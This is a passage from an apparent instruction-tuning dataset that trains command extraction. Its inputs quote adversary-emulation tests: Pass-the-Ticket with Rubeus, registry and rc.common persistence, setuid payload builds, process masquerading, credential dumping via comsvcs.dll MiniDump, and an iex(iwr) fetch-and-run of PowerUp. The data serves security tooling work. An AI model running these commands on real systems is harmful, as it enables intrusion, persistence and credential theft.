... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To create a C source file, modify its ownership, and set file attributes, use the following commands: cp #{payload} /tmp/hello.c\nsudo chown root /tmp/hello.c\nsudo make /tmp/hello\nsudo chown root /tmp/hello\nsudo chmod u+s /tmp/hello\n/tmp/hello; The process involves copying a payload to a C file, compiling it, and setting permissions via the command: cp #{payload} /tmp/hello.c\nchown root /tmp/hello.c\nmake /tmp/hello\nchown root /tmp/hello\nchmod u+s /tmp/hello\n/tmp/hello", "output": "{\"command_list\": [\"cp #{payload} /tmp/hello.c\\nsudo chown root /tmp/hello.c\\nsudo make /tmp/hello\\nsudo chown root /tmp/hello\\nsudo chmod u+s /tmp/hello\\n/tmp/hello\\n\", \"cp #{payload} /tmp/hello.c\\nchown root /tmp/hello.c\\nmake /tmp/hello\\nchown root /tmp/hello\\nchmod u+s /tmp/hello\\n/tmp/hello\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To perform a Pass-The-Ticket attack, first request a TGT on the remote system and retrieve it locally using the following command sequence: & \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -accepteula \\\\#{target} -w c:\\ -c \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" asktgt /user:#{user_name} /password:#{password} /domain:#{domain} /outfile:ticket.kirbi\nSet-Location \"PathToAtomicsFolder\\..\\ExternalPayloads\"\nMove-Item -Force \"\\\\#{target}\\c$\\ticket.kirbi\" ticket.kirbi\nWrite-Host \"Successfully retrieved TGT from \\'#{target}\\', now requesting a TGS from local\"\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" asktgs /service:cifs/#{target} /ticket:ticket.kirbi /ptt\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\ticket.kirbi\"\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" purge; By running the following command: Set-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" \"StubPath\" \"#{payload}\" -Force\n& $env:SYSTEMROOT\\system32\\runonce.exe /AlternateShellStartup, you can add a StubPath to the registry key and trigger Active Setup immediately to launch the specified payload.", "output": "{\"command_list\": [\"& \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\PsExec.exe\\\" -accepteula \\\\\\\\#{target} -w c:\\\\ -c \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\rubeus.exe\\\" asktgt /user:#{user_name} /password:#{password} /domain:#{domain} /outfile:ticket.kirbi\\nSet-Location \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\nMove-Item -Force \\\"\\\\\\\\#{target}\\\\c$\\\\ticket.kirbi\\\" ticket.kirbi\\nWrite-Host \\\"Successfully retrieved TGT from '#{target}', now requesting a TGS from local\\\"\\n& \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\rubeus.exe\\\" asktgs /service:cifs/#{target} /ticket:ticket.kirbi /ptt\\nRemove-Item \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\ticket.kirbi\\\"\\n& \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\rubeus.exe\\\" purge \", \"Set-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\\\\{C9E9A340-D1F1-11D0-821E-444553540600}\\\" \\\"StubPath\\\" \\\"#{payload}\\\" -Force\\n& $env:SYSTEMROOT\\\\system32\\\\runonce.exe /AlternateShellStartup\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To modify rc.common and display a dialog on startup, use the following command: sudo echo osascript -e 'tell app \"Finder\" to display dialog \"Hello World\"' >> /etc/rc.common; You can make changes to rc.common with the following multi-step command: filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi\nprintf '%s\\n' '#!/bin/bash' | sudo tee /etc/rc.common\necho \"python3 -c \\\"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJwkK'))\\\"\" | sudo tee -a /etc/rc.common\nprintf '%s\\n' 'exit 0' | sudo tee -a /etc/rc.common\nsudo chmod +x /etc/rc.common", "output": "{\"command_list\": [\"sudo echo osascript -e 'tell app \\\"Finder\\\" to display dialog \\\"Hello World\\\"' >> /etc/rc.common\\n\", \"filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi\\nprintf '%s\\\\n' '#!/bin/bash' | sudo tee /etc/rc.common\\necho \\\"python3 -c \\\\\\\"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\\\\\\\"\\\" | sudo tee -a /etc/rc.common\\nprintf '%s\\\\n' 'exit 0' | sudo tee -a /etc/rc.common\\nsudo chmod +x /etc/rc.common\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Every time cmd.exe is executed, the command defined in the AutoRun registry key will also run. This persistence technique can be implemented using the command: New-ItemProperty -Path \"HKLM:\\\\Software\\\\Microsoft\\\\Command Processor\" -Name \"AutoRun\" -Value \"#{command}\" -PropertyType \"String\"; The CommandProcessor AutoRun registry key can be exploited for persistence, running a command automatically with cmd.exe, by executing the following: $path = \"HKCU:\\Software\\Microsoft\\Command Processor\"\nif (!(Test-Path -path $path)){\n New-Item -ItemType Key -Path $path\n}\nNew-ItemProperty -Path $path -Name \"AutoRun\" -Value \"#{command}\" -PropertyType \"String\"", "output": "{\"command_list\": [\"New-ItemProperty -Path \\\"HKLM:\\\\Software\\\\Microsoft\\\\Command Processor\\\" -Name \\\"AutoRun\\\" -Value \\\"#{command}\\\" -PropertyType \\\"String\\\"\", \"$path = \\\"HKCU:\\\\Software\\\\Microsoft\\\\Command Processor\\\"\\nif (!(Test-Path -path $path)){\\n New-Item -ItemType Key -Path $path\\n}\\nNew-ItemProperty -Path $path -Name \\\"AutoRun\\\" -Value \\\"#{command}\\\" -PropertyType \\\"String\\\"\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This technique involves copying and renaming cscript.exe before execution, which can be done with this command: copy %SystemRoot%\\System32\\cscript.exe %APPDATA%\\notepad.exe /Y\ncmd.exe /c %APPDATA%\\notepad.exe /B\n; To copy and rename wscript.exe while launching it as svchost.exe, use the following command: copy %SystemRoot%\\System32\\wscript.exe %APPDATA%\\svchost.exe /Y\ncmd.exe /c %APPDATA%\\svchost.exe \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1036.003\\src\\T1036.003_masquerading.vbs\"", "output": "{\"command_list\": [\"copy %SystemRoot%\\\\System32\\\\cscript.exe %APPDATA%\\\\notepad.exe /Y\\ncmd.exe /c %APPDATA%\\\\notepad.exe /B\\n\", \"copy %SystemRoot%\\\\System32\\\\wscript.exe %APPDATA%\\\\svchost.exe /Y\\ncmd.exe /c %APPDATA%\\\\svchost.exe \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\T1036.003\\\\src\\\\T1036.003_masquerading.vbs\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To dump plain-text RDP credentials from svchost.exe, use this command: $ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)\nif($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }\nC:\\Windows\\System32\\rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump $id $env:TEMP\\svchost-exe.dmp full. A successful execution will result in a file being created at $env:TEMP\\svchost-exe.dmp.; To reveal service account credentials configured for an IIS web server, an adversary may use AppCmd.exe with these commands: C:\\Windows\\System32\\inetsrv\\appcmd.exe list apppool /@t:*\nC:\\Windows\\System32\\inetsrv\\appcmd.exe list apppool /@text:*\nC:\\Windows\\System32\\inetsrv\\appcmd.exe list apppool /text:*", "output": "{\"command_list\": [\"$ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)\\nif($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }\\nC:\\\\Windows\\\\System32\\\\rundll32.exe C:\\\\windows\\\\System32\\\\comsvcs.dll, MiniDump $id $env:TEMP\\\\svchost-exe.dmp full\\n\", \"C:\\\\Windows\\\\System32\\\\inetsrv\\\\appcmd.exe list apppool /@t:*\\nC:\\\\Windows\\\\System32\\\\inetsrv\\\\appcmd.exe list apppool /@text:*\\nC:\\\\Windows\\\\System32\\\\inetsrv\\\\appcmd.exe list apppool /text:*\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound 